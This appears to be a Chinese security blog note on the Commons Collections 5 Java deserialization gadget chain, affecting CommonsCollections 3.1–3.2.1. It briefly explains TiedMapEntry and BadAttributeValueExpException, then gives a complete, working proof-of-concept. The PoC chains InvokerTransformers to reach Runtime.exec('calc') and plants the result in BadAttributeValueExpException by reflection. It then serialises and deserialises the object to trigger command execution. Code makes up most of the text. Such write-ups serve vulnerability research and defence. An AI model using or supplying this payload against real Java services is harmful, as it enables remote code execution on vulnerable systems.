jdk暂无限制
CommonsCollections 3.1 - 3.2.1

这里使用了cc1的前半段,先看cc5中出现的两个新类

TiedMapEntry

这个类主要用到 getValue()toString(),看到 getValue() 应该就知道什么意思了,cc1的 LazyMap
image.png

BadAttributeValueExpException

BadAttributeValueExpException的构造函数调用了toString()
image.png

poc

  1. package com.yq1ng.cc5;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.LazyMap;
  7. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  8. import javax.management.BadAttributeValueExpException;
  9. import java.io.FileInputStream;
  10. import java.io.FileOutputStream;
  11. import java.io.ObjectInputStream;
  12. import java.io.ObjectOutputStream;
  13. import java.lang.reflect.Field;
  14. import java.util.HashMap;
  15. /**
  16. * @author ying
  17. * @Description
  18. * @create 2021-11-23 17:04
  19. */
  20. public class cc5 {
  21. public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
  22. ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
  23. new ConstantTransformer(Runtime.class),
  24. new InvokerTransformer("getMethod", new Class[] {
  25. String.class, Class[].class }, new Object[] {
  26. "getRuntime", new Class[0] }),
  27. new InvokerTransformer("invoke", new Class[] {
  28. Object.class, Object[].class }, new Object[] {
  29. null, new Object[0] }),
  30. new InvokerTransformer("exec",
  31. new Class[] { String.class }, new Object[]{"calc"})});
  32. HashMap innermap = new HashMap();
  33. LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
  34. TiedMapEntry tiedmap = new TiedMapEntry(map,123);
  35. BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
  36. // 反射将恶意TiedMapEntry塞进去
  37. Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
  38. val.setAccessible(true);
  39. val.set(poc,tiedmap);
  40. try{
  41. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
  42. outputStream.writeObject(poc);
  43. outputStream.close();
  44. ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
  45. inputStream.readObject();
  46. }catch(Exception e){
  47. e.printStackTrace();
  48. }
  49. }
  50. }

image.png